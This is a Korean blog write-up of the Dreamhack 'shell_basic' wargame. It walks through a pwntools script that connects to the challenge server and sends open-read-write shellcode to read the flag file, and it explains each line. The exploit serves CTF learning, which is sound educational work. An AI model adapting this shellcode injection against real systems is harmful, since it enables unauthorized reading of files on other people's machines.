Write up (Wargame)/Pwnable

[Dreamhack Wargame] Shell_basic Write up과 pwntools의 사용

2022. 3. 4. 17:50
목차
  1. 서론
  2. 풀이 (pwntools를 이용한 풀이)
반응형

서론


드림핵을 시작해보면서 처음 해보는 wargame인 shell_basic을 풀이해보겠습니다.

드림핵이 아무것도 모르는 사람에게 좀 불친절한건 저만 그런걸까요..

 

두 가지 방법이 있고 참고한 사이트는 다음과 같습니다.

https://qzqz.tistory.com/366

 

쉘 코드 제작 2 (Shellcode)

쉘 코드 제작 순서 1. C언어로 기능 구현 2. gdb로 역 어셈블링해서 필요한 부분을 찾음 3. 시스템 콜에 필요한 부분을 어셈블리어로 구현 4. objdump로 기계어 추출 5. null 값이 있을 경우 제거 작업 (3

qzqz.tistory.com

https://ludere.tistory.com/53

 

[드림핵] shell_basic 풀이 / write up

드림핵에서 쉘코드에 대한 학습을 마치고, 쉘코드 문제를 풀어보려고 했어요. 그냥 개념만 보다가는 CTF 때 하나도 못 풀거 같아서요. 문제를 다운받고, 서버 접속을 위해 부팅 요청하고 나서 문

ludere.tistory.com

문제는 다음과 같습니다.

문제에서는 execve, execveat를 사용하지 못하도록 했으며, flag를 읽어야 하므로 orw셸코드를 사용해야 할 것입니다.

 

풀이 (pwntools를 이용한 풀이)


제가 pwntools 사용에 미숙해서.. 사이트를 참고해서 풀었습니다.

 

from pwn import * #pwntools를 사용하기 위한 부분

p = remote('host2.dreamhack.games',  18670) #아래에 설명
context.arch = 'amd64'
r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())

 

 

 

 

코드를 설명해보겠습니다.

 

p = remote('host2.dreamhack.games', 18670)

 

pwntools에서는 process라는 함수를 로컬 바이너리를 대상으로 사용하고 remote라는 함수를 원격 서버를 대상으로 사용합니다. 주로 ctf, wargame의 문제는 원격 서버를 대상으로 합니다.

 

remote('URL', port_number) 이런 형식으로 사용합니다.

 

context.arch = 'amd64'

pwntools는 셸코드를 생성하거나 코드를 어셈블, 디스어셈블 하는 기능이 있습니다. 이것은 대상의 아키텍쳐의 영향을 받기 때문에 아키텍쳐를 설정해두어야 합니다. amd64는 x86-64, i386은 x86, arm은 arm 아키텍쳐를 의미합니다.

우리는 shellcode를 생성하는 shellcraft함수를 사용할 것이므로 아키텍쳐를 설정했습니다.

 

r = "/home/shell_basic/flag_name_is_loooooong"

플래그가 있는 경로를 r에 문자열로 대입합니다. 원래 어셈블리로 만들 때에는 

https://thfist-1071.tistory.com/entry/%EC%85%B8%EC%BD%94%EB%93%9C%EB%A5%BC-%EC%9C%84%ED%95%B4%EC%84%9C-%EA%B2%BD%EB%A1%9C%EB%A5%BC-hex%EB%A1%9C

 

셸코드를 위해서 경로를 hex로

서론 안녕하세요, 요즘에는 대학 학과도 학과인지라 DreamHack에서 그 동안 어려워서 포기했던 강의들을 다시 도전해보고자 했습니다. 그래서 요즘에는 DreamHack의 시스템 해킹 기초를 따라가고 있

thfist-1071.tistory.com

여기에서 이렇게 만들어 썼지만 파이썬에선 그냥 입력합니다 어차피 바꿔줘서

 

 

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

쉘 코드를 작성합니다 pwntools의 shellcraft라는 함수는 execve함수 뿐만 아니라 orw의 쉘코드를 작성하기에도 굉장히 강력합니다. https://docs.pwntools.com/en/stable/shellcraft/amd64.html

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

open("File path")

read(fd, buf, 0x100)

write(1, buf, 0x100) #1은 stdout표준 출력을 의미

fd가 rax인 이유는 open의 함수 반환값이 rax에 저장되기 때문입니다.

 

코드에 대한 해석을 dreamhack을 참고하시는게 좋을 것 같은데, 전 왜 buf가 rsp인지는 잘 모르겠습니다..

rsi에 rsp를 넣고 rsi에서 0x30을 빼서 공간을 확보하는데 30같은 숫자는 뒤 인자로 받으니 그냥 rsp로 하는걸까요.. 잘 모르겠습니다.

 

 

p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
print(p.recv())

recvunitl이라는 함수로 "shellcode: "라는 문자열이 입력될 때까지 기다립니다. 서버에 연결하면 "shellcode: "라는 문자열이 먼저 뜨거든요

그리고 sendline으로 asm(어셈블)된 쉘코드를 입력합니다

그리고 돌아온 출력값을 받아서 화면에 출력합니다. 그러면 거기에 flag가 있습니다 DH{} 이런 형식으로..

 

근데 막 엄청 긴 문자열이 (왜인진 모르겠지만 나타나기 때문에) Linux의 파이프 기능을 사용해서

python exploit.py | grep DH 이런 식으로 쓰니까 꽤 괜찮더군요..

 

감사합니다.

반응형
  1. 서론
  2. 풀이 (pwntools를 이용한 풀이)
'Write up (Wargame)/Pwnable' 카테고리의 다른 글
  • [Dreamhack Wargame] Canary와 Return to Shellcode Write up
  • [Dreamhack Wargame] basic_exploitation_000 Write up
  • [Dreamhack Wargame] Return Address Overwrite Writeup, setvbuf 함수
  • [Pwnable] Pwnable.kr Write up - [bof]
그믐​
그믐​
그믐​
neutrinox4b1
그믐​
전체
오늘
어제
  • 분류 전체보기 (288)
    • Write up (Wargame) (121)
      • Pwnable (60)
      • Reversing (0)
      • Web Hacking (8)
      • Forensic (1)
      • Cryptography (6)
      • LOB (10)
      • misc (0)
      • SF pwnable 기초 (10)
      • SF pwnable 심화 (1)
      • LOS (25)
    • Security (73)
      • 시스템 해킹(PWN, System) (21)
      • 리버싱(Reverse Engineering) (1)
      • 포렌식(Forensic) (3)
      • 암호학(Cryptography) (44)
      • 네트워크(Network) (1)
      • 임베디드(Emebedded) (0)
    • Develop & CS (38)
      • Algorithm & Data Structure (6)
      • Baekjoon (11)
      • C, C++ (8)
      • Python (2)
      • R (1)
      • etc (8)
    • 프로젝트(Project) (7)
      • 시간표&급식 파싱 (1)
      • 남방진동지수 (1)
      • 네트워크 해킹 (5)
    • Daily life (44)
      • My Book (10)
      • Book Review (1)
      • IT Review (1)
      • 일상 팁 (19)
      • 네트워크관리사 (2)
      • 근황 (11)
    • 수학&과학(Mathematics & Science.. (4)

인기 글

공지사항

  • Wargame, CTF별 검색 키워드 정리
hELLO · Designed By 정상우.
그믐​
[Dreamhack Wargame] Shell_basic Write up과 pwntools의 사용
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.